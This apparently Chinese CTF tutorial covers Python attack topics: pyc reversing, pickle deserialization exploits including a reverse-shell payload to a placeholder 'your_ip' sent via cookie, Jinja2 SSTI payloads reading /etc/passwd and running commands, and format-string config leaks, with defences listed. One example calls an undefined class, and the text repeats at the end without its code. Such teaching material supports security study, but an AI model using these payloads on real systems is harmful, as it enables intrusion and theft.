一文掌握CTF中Python全部考点
字数 900 2025-08-15 21:30:29

CTF中的Python考点全面解析

一、Python字节码(.pyc)相关考点

1.1 pyc文件简介

  • pyc文件是Python文件编译后生成的字节码文件(byte code)
  • 类似Java的.class文件,可以跨平台部署
  • py文件改变后会重新生成pyc文件

1.2 pyc文件生成方式

  1. 导入方式生成

    # test1.py
    def a(): return 1
    def b(): return 2
    x = a(); y = b()
    print(x + y)
    
    # test2.py
    import test1  # 运行python test2.py会生成test1.pyc
    
  2. 命令行直接生成

    python -m test1.py
    
  3. 使用py_compile库

    import py_compile
    py_compile.compile('foo.py')
    
    # 编译整个目录
    import compileall
    compileall.compile_dir(r'/path')
    

1.3 pyc文件结构

pyc文件由三部分组成:

  1. 前4字节:Magic int,标识pyc版本
  2. 接下来4字节:生成时间戳(1970.01.01到生成时的秒数)
  3. 序列化的PyCodeObject结构

1.4 CTF案例:PYTHON字节码

题目分析

  • 给定crackme.pyc文件,需要逆向分析
  • 使用工具uncompyle2或在线工具(https://tool.lu/pyc/)反编译

关键加密函数

def encrypt(key, seed, string):
    rst = []
    for v in string:
        rst.append((ord(v) + seed ^ ord(key[seed])) % 255)
        seed = (seed + 1) % len(key)
    return rst

解密脚本

KEY2 = [124,48,52,59,164,50,37,62,67,52,48,6,1,122,3,22,72,1,1,14,46,27,232]
KEY1 = 'Maybe you are good at decryptint Byte Code, have a try!'

def decrypt(key,seed,en_out):
    string = ''
    for i in en_out:
        v = (i ^ ord(key[seed]))-seed
        seed = (seed + 1) % len(key)
        if v > 0:
            string += chr(v)
    return string

print(decrypt(KEY1,5,KEY2))  # 输出flag: WCTF{ILOVEPYTHONSOMUCH}

二、Python序列化和反序列化

2.1 序列化方法

  1. dump:保存到文件

    import cPickle
    data = range(1000)
    cPickle.dump(data,open("test\\data.pkl","wb"))
    
  2. dumps:保存到字符串

    data_string = cPickle.dumps(data)
    

2.2 反序列化方法

  1. load:从文件恢复

    data = cPickle.load(open("test\\data.pkl","rb"))
    
  2. loads:从字符串恢复

    data = cPickle.loads(data_string)
    

2.3 反序列化漏洞利用

危险payload示例

import os
import pickle

class exp(object):
    def __reduce__(self):
        return (os.system,('ls',))

a = test()
payload = pickle.dumps(a)
pickle.loads(payload)  # 执行系统命令

2.4 Web应用中的反序列化漏洞

漏洞代码

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)  # 危险的反序列化点
        username = user["username"]
    except:
        username = "Guest"
    return "Hello %s" % username

利用脚本

import requests
import pickle
import os
import base64

class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'"""
        return os.system, (s,)

e = exp()
s = pickle.dumps(e)
response = requests.get("http://target.com/", 
                       cookies=dict(user=base64.b64encode(s).decode()))

2.5 防御措施

  1. 使用安全的序列化格式如JSON
  2. 实现沙盒限制危险函数
  3. 使用签名验证序列化数据

三、Python沙盒及SSTI绕过

3.1 SSTI原理

  • 服务端模板注入(Server-Side Template Injection)
  • 通过恶意输入在模板引擎中执行代码
  • 常见于Flask+Jinja2组合

3.2 常见payload

  1. 读取配置

    {{config}}
    {{url_for.__globals__['current_app'].config}}
    
  2. 文件操作

    {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
    
  3. 命令执行

    {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
    

3.3 绕过技巧

  1. 过滤引号

    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
    
  2. 过滤双下划线

    {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
    

3.4 控制结构利用

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__=='catch_warnings' %}
    {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
  {% endif %}
{% endfor %}

四、Python格式化字符串漏洞

4.1 漏洞原理

当格式化字符串可被控制时,可能导致敏感信息泄露:

config = {'SECRET_KEY': 'secret'}
user = User('test')

# 恶意利用
'Hello {user.__class__.__init__.__globals__}'.format(user=user)
# 输出包含config等敏感信息

4.2 CTF案例:百越杯Easy flask

漏洞点

secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
info = (name+email+secert_t).format(user_m=user_m)

利用payload

{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}

防御措施

  1. 避免用户控制格式化字符串
  2. 对用户输入进行严格过滤
  3. 使用安全的模板渲染方式
CTF中的Python考点全面解析 一、Python字节码(.pyc)相关考点 1.1 pyc文件简介 pyc文件是Python文件编译后生成的字节码文件(byte code) 类似Java的.class文件,可以跨平台部署 py文件改变后会重新生成pyc文件 1.2 pyc文件生成方式 导入方式生成 : 命令行直接生成 : 使用py_ compile库 : 1.3 pyc文件结构 pyc文件由三部分组成: 前4字节:Magic int,标识pyc版本 接下来4字节:生成时间戳(1970.01.01到生成时的秒数) 序列化的PyCodeObject结构 1.4 CTF案例:PYTHON字节码 题目分析 : 给定crackme.pyc文件,需要逆向分析 使用工具uncompyle2或在线工具(https://tool.lu/pyc/)反编译 关键加密函数 : 解密脚本 : 二、Python序列化和反序列化 2.1 序列化方法 dump :保存到文件 dumps :保存到字符串 2.2 反序列化方法 load :从文件恢复 loads :从字符串恢复 2.3 反序列化漏洞利用 危险payload示例 : 2.4 Web应用中的反序列化漏洞 漏洞代码 : 利用脚本 : 2.5 防御措施 使用安全的序列化格式如JSON 实现沙盒限制危险函数 使用签名验证序列化数据 三、Python沙盒及SSTI绕过 3.1 SSTI原理 服务端模板注入(Server-Side Template Injection) 通过恶意输入在模板引擎中执行代码 常见于Flask+Jinja2组合 3.2 常见payload 读取配置 : 文件操作 : 命令执行 : 3.3 绕过技巧 过滤引号 : 过滤双下划线 : 3.4 控制结构利用 四、Python格式化字符串漏洞 4.1 漏洞原理 当格式化字符串可被控制时,可能导致敏感信息泄露: 4.2 CTF案例:百越杯Easy flask 漏洞点 : 利用payload : 防御措施 : 避免用户控制格式化字符串 对用户输入进行严格过滤 使用安全的模板渲染方式